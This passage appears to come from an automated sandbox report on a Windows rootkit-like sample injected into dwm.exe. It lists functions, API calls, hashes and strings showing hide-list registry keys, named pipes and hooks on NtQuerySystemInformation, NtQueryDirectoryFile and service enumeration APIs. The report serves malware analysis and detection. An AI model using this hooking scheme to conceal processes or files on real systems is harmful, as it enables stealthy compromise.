Part of subcall function 000001160CA112BC: GetProcessHeap.KERNEL32 ref: 000001160CA1142F
Part of subcall function 000001160CA112BC: HeapAlloc.KERNEL32 ref: 000001160CA1143D

Strings

startup, xrefs: 000001160CA116D5
process_names, xrefs: 000001160CA1174D
tcp_local, xrefs: 000001160CA117FE
tcp_remote, xrefs: 000001160CA11839
service_names, xrefs: 000001160CA117C3
SOFTWARE\dialerconfig, xrefs: 000001160CA11692
udp, xrefs: 000001160CA11874
paths, xrefs: 000001160CA11788
pid, xrefs: 000001160CA11712

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 26355f59f2fbcf859f9fdb7bfac8618af794a1f004d759b0c7ff34932e116d24
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 90710976711B5086EB149F6AE8A0ADD63A4F788B88F405161FF4E47B6DDF36C884C740

Function 000001160CA13790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA1379E
GetCurrentProcess.KERNEL32 ref: 000001160CA137CC
VirtualProtectEx.KERNEL32 ref: 000001160CA137EE
GetCurrentProcess.KERNEL32 ref: 000001160CA13809
VirtualProtectEx.KERNEL32 ref: 000001160CA1382A

Strings

wr, xrefs: 000001160CA137FF

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 47b80caba1b0aab0240aea7a35e498d0921ec3c92e713c1e0b924a5b7fe9d153
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 04115235706B91C2EF189F1AE4182E96260F74CB85F444065FF8907768EF3EC985C704

Function 000001160CA15B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA15B6B
GetThreadContext.KERNEL32 ref: 000001160CA15CD5

Part of subcall function 000001160CA15960: GetCurrentThreadId.KERNEL32 ref: 000001160CA15964

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction ID: 43c2d2febde26202f880cb7e5d5ddc55507ed27facd1cf01b654dc556421c9b1
Opcode Fuzzy Hash: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction Fuzzy Hash: D5D17376609B8886DB649B0AE49439AB7A0F3CCB84F140156FF8D47BA9DF3DC581CB40

Function 000001160CA150D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA15156

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction ID: 2f876bf7158a6cc8c63e08690c226b7ead55a405f44d1cff1c0479b88e861e6f
Opcode Fuzzy Hash: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction Fuzzy Hash: 6602B632619B8486EBA4CB59E49439AB7A1F3C9794F104055FF8E87BA8DF7DC484CB00

Function 000001160CA139E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001160CA13A66
VirtualAlloc.KERNEL32 ref: 000001160CA13AA0

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 62f04f5f668187a0ae4209a96062c236bbf9041d91d4252b03df27feef77b1b0
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 4131BC3221AB8881EF689A19E0553DE66E4F38C784F500565BFCD46BACDB6FC5C08B44

Function 000001160CA1328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001160CA132AE
PathFindFileNameW.SHLWAPI ref: 000001160CA132BD

Part of subcall function 000001160CA13844: StrCmpNIW.SHLWAPI ref: 000001160CA1385C

Part of subcall function 000001160CA13790: GetModuleHandleW.KERNEL32 ref: 000001160CA1379E
Part of subcall function 000001160CA13790: GetCurrentProcess.KERNEL32 ref: 000001160CA137CC
Part of subcall function 000001160CA13790: VirtualProtectEx.KERNEL32 ref: 000001160CA137EE
Part of subcall function 000001160CA13790: GetCurrentProcess.KERNEL32 ref: 000001160CA13809
Part of subcall function 000001160CA13790: VirtualProtectEx.KERNEL32 ref: 000001160CA1382A

CreateThread.KERNEL32 ref: 000001160CA1330B

Part of subcall function 000001160CA11D14: GetCurrentThread.KERNEL32 ref: 000001160CA11D1F

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: eb769cf37a89b3ef12196dc5b3cb94eded2092a35d1ffa07bd756d036b65c0b3
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: B511927161678086FF6C9F6AF8597D92294B75C344F5082A4FF16815BDEF7BC0C88204

Function 000001160CA14DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001160CA14DF4
VirtualProtect.KERNEL32 ref: 000001160CA14E37
FlushInstructionCache.KERNEL32 ref: 000001160CA14E4C

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction ID: 72fb3dffb222cd1b70a4713ad25575b3f8e9ea29d6d58944361b524033167b4a
Opcode Fuzzy Hash: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction Fuzzy Hash: 36F0B736218B0480D7359B0AE4517DAABA0E38CBD4F145155BF8D47BADCA3EC6D18B40

Function 000001160C9E273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001160C9E27DB
LoadLibraryA.KERNELBASE ref: 000001160C9E285E

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 14d0a45b7d66c6113b95179a3941541b290b58f9ebcf81554cf017b6ede3d357
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: BB611372B01B9087EB58CF15D1407EDB3AAFB68BA4F589161EF590778CEA39D852C700

Function 000001160CA11ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001160CA11628: GetProcessHeap.KERNEL32 ref: 000001160CA11633
Part of subcall function 000001160CA11628: HeapAlloc.KERNEL32 ref: 000001160CA11642
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA116B2
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA116DF
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA116F9
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA11719
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA11734
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA11754
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA1176F
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA1178F
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA117AA
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA117CA

Sleep.KERNEL32 ref: 000001160CA11AD7
SleepEx.KERNELBASE ref: 000001160CA11ADD

Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA117E5
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA11805
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA11820
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA11840
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA1185B
Part of subcall function 000001160CA11628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA1187B
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA11896
Part of subcall function 000001160CA11628: RegCloseKey.ADVAPI32 ref: 000001160CA118A0

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: def476aa2106e92d5e83f68997f758a87603729eedac3282fb672689b4480aed
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: A031E37120474581FF589B2ED6513ED63A6AB8CBD0F0855A1BF09876EDFE1AC9D1C210

Non-executed Functions

Function 000001160CA12B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001160CA12BD0
lstrlenW.KERNEL32 ref: 000001160CA12E0A

Part of subcall function 000001160CA1199C: OpenProcess.KERNEL32 ref: 000001160CA119C2
Part of subcall function 000001160CA1199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA119E0
Part of subcall function 000001160CA1199C: PathFindFileNameW.SHLWAPI ref: 000001160CA119EF
Part of subcall function 000001160CA1199C: lstrlenW.KERNEL32 ref: 000001160CA119FB
Part of subcall function 000001160CA1199C: StrCpyW.SHLWAPI ref: 000001160CA11A0E
Part of subcall function 000001160CA1199C: CloseHandle.KERNEL32 ref: 000001160CA11A1C

GetProcAddress.KERNEL32 ref: 000001160CA12BE5

Part of subcall function 000001160CA1152C: StrCmpIW.SHLWAPI ref: 000001160CA1155D

Part of subcall function 000001160CA13844: StrCmpNIW.SHLWAPI ref: 000001160CA1385C

StrCmpNIW.SHLWAPI ref: 000001160CA12C28
lstrlenW.KERNEL32 ref: 000001160CA12D50

Strings

NtQueryObject, xrefs: 000001160CA12BDB
\Device\Nsi, xrefs: 000001160CA12C1B
ntdll.dll, xrefs: 000001160CA12BC9

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 26e0d04264bd1025ab8084d08883fea5ee137d09c7f6383246fa8a543dd74820
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 70B16972220B9086EB6D8F29D4507E967A5FB88B94F445296FF0993799EF36CCC0C340

Function 000001160CA17D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001160CA17DAC
RtlCaptureContext.NTDLL ref: 000001160CA17DD9
RtlLookupFunctionEntry.NTDLL ref: 000001160CA17DF3
RtlVirtualUnwind.NTDLL ref: 000001160CA17E34
IsDebuggerPresent.KERNEL32 ref: 000001160CA17E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA17EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA17EB4

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: f38edc99e1d2e9b9c73a0df7d4b367b2acc15f75f327f8aa4a1b2c45b403be39
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 83318372205B808AEB649F65E8503ED73B0F788744F44406AEF4D57B98EF39CA88C710

Function 000001160CA1D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001160CA1D31D
RtlLookupFunctionEntry.NTDLL ref: 000001160CA1D335
RtlVirtualUnwind.NTDLL ref: 000001160CA1D370
IsDebuggerPresent.KERNEL32 ref: 000001160CA1D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA1D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA1D3BE

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 5919553aac9d1a8d8787ae4c55b550eb79f0a7f4b7b5ddd794635620a42e0337
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 98314936614B8086EB648F29E8903EE73A4F789758F500166FF9D43B99EF39C585CB00

Function 000001160CA112BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA11319
GetProcessHeap.KERNEL32 ref: 000001160CA11327
HeapAlloc.KERNEL32 ref: 000001160CA11338
RegEnumValueW.ADVAPI32 ref: 000001160CA11397

Part of subcall function 000001160CA1152C: StrCmpIW.SHLWAPI ref: 000001160CA1155D

GetProcessHeap.KERNEL32 ref: 000001160CA113DF
HeapAlloc.KERNEL32 ref: 000001160CA113ED
GetProcessHeap.KERNEL32 ref: 000001160CA1140A
HeapFree.KERNEL32 ref: 000001160CA11418
lstrlenW.KERNEL32 ref: 000001160CA11421
GetProcessHeap.KERNEL32 ref: 000001160CA1142F
HeapAlloc.KERNEL32 ref: 000001160CA1143D
StrCpyW.SHLWAPI ref: 000001160CA1145F
GetProcessHeap.KERNEL32 ref: 000001160CA11476
HeapFree.KERNEL32 ref: 000001160CA11484

Strings

d, xrefs: 000001160CA1135A

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 62386f3898b506f272a71971f8396644ea8b68a147205f6dc5b3694ce09630a9
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: F7513776205B9486EB58CF6AE4583DAB7A1F788F99F448124EF4A07718DF39D489CB00

Function 000001160CA11D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001160CA11D1F

Part of subcall function 000001160CA11FD4: GetModuleHandleA.KERNEL32 ref: 000001160CA11FEC
Part of subcall function 000001160CA11FD4: GetProcAddress.KERNEL32 ref: 000001160CA11FFD

Part of subcall function 000001160CA15B30: GetCurrentThreadId.KERNEL32 ref: 000001160CA15B6B

Strings

NtQuerySystemInformation, xrefs: 000001160CA11D45
sechost.dll, xrefs: 000001160CA11E39
advapi32.dll, xrefs: 000001160CA11DF7, 000001160CA11E18
NtQueryDirectoryFile, xrefs: 000001160CA11D7F
NtEnumerateKey, xrefs: 000001160CA11DB9
NtResumeThread, xrefs: 000001160CA11D62
NtQueryDirectoryFileEx, xrefs: 000001160CA11D9C
NtDeviceIoControlFile, xrefs: 000001160CA11E56
NtEnumerateValueKey, xrefs: 000001160CA11DD6
ntdll.dll, xrefs: 000001160CA11D2D
EnumServicesStatusExW, xrefs: 000001160CA11E11, 000001160CA11E32
EnumServiceGroupW, xrefs: 000001160CA11DF0

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: d0e5114047ee53141e5c98024223ea41aaf4f9b0c9cd1fbc05652697f2aefcd5
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5C318274500B5AA0EB0CEB6EE8717D46321B74C344F905593BF094256EDE3AC6C9C350

Function 000001160C9E6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160C9E6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001160C9E698A
_RTC_Initialize.LIBCMT ref: 000001160C9E69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160C9E69DE
__scrt_release_startup_lock.LIBCMT ref: 000001160C9E6A09

Strings

scriptor', xrefs: 000001160C9E6B39, 000001160C9E6BB2, 000001160C9E6BEC
`dynamic initializer for ', xrefs: 000001160C9E69C7
`eh vector vbase copy constructor iterator', xrefs: 000001160C9E69EE
`eh vector copy constructor iterator', xrefs: 000001160C9E6A3B

Memory Dump Source

Source File: 0000001F.00000002.3415177632.000001160C9E0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160C9E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160c9e0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 7cdc63451b69bc29292b48ce5e8b572541f10f68e69c8b9878c1adc1d1e47a85
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: BC81B2316403498AFA5CAB6594413D967A0FBBDB80F5984A9FB054779FFF3BC8868700

Function 000001160CA1CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001160CA1CE37
FlsGetValue.KERNEL32(?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CE4C
FlsSetValue.KERNEL32(?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CE6D
FlsSetValue.KERNEL32(?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CE9A
FlsSetValue.KERNEL32(?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CEAB
FlsSetValue.KERNEL32(?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CEBC
SetLastError.KERNEL32 ref: 000001160CA1CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001160CA1ECCC,?,?,?,?,000001160CA1BF9F,?,?,?,?,?,000001160CA17AB0), ref: 000001160CA1CF2C

Part of subcall function 000001160CA1D6CC: HeapAlloc.KERNEL32 ref: 000001160CA1D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CF54

Part of subcall function 000001160CA1D744: HeapFree.KERNEL32 ref: 000001160CA1D75A
Part of subcall function 000001160CA1D744: GetLastError.KERNEL32 ref: 000001160CA1D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA20A6B,?,?,?,000001160CA2045C,?,?,?,000001160CA1C84F), ref: 000001160CA1CF76

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: cb4390f6961ed6b9396b0974b2ba38b6b8c0e1728fb321c83c064ca045ffbcea
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3F41A23438138445FB6DA77D59513ED22929B8D7B8F2407A4BF364A6EEDE2FD4C19200

Function 000001160CA12244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001160CA12259
GetCurrentProcessId.KERNEL32 ref: 000001160CA12263

Part of subcall function 000001160CA11934: OpenProcess.KERNEL32 ref: 000001160CA11952
Part of subcall function 000001160CA11934: IsWow64Process.KERNEL32 ref: 000001160CA11968
Part of subcall function 000001160CA11934: CloseHandle.KERNEL32 ref: 000001160CA11983

CreateFileW.KERNEL32 ref: 000001160CA122BC
WriteFile.KERNEL32 ref: 000001160CA122E4
ReadFile.KERNEL32 ref: 000001160CA12303
CloseHandle.KERNEL32 ref: 000001160CA1230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001160CA12293
\\.\pipe\dialerchildproc64, xrefs: 000001160CA1228C

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d8e38c265cc2591fed5b845a1e9ed54dacbffdcb23e87e0e2915a52c9866d07e
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 26213A76618B9082FB188B29F4543DAA7A0F789BA4F504255FF5903BA8CF3DC589CB00

Function 000001160CA1A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CA1A5A1

Part of subcall function 000001160CA1B414: __GetUnwindTryBlock.LIBCMT ref: 000001160CA1B457
Part of subcall function 000001160CA1B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CA1B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CA1A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CA1A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CA1A9DA

Strings

csm, xrefs: 000001160CA1A69C
csm, xrefs: 000001160CA1A5BB
csm, xrefs: 000001160CA1A622

Memory Dump Source

Source File: 0000001F.00000002.3415224759.000001160CA10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1160ca10000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 93d23abf68d1e6e82d08775b53c47137bf62e89ca0d236ad7368ba212f83e994
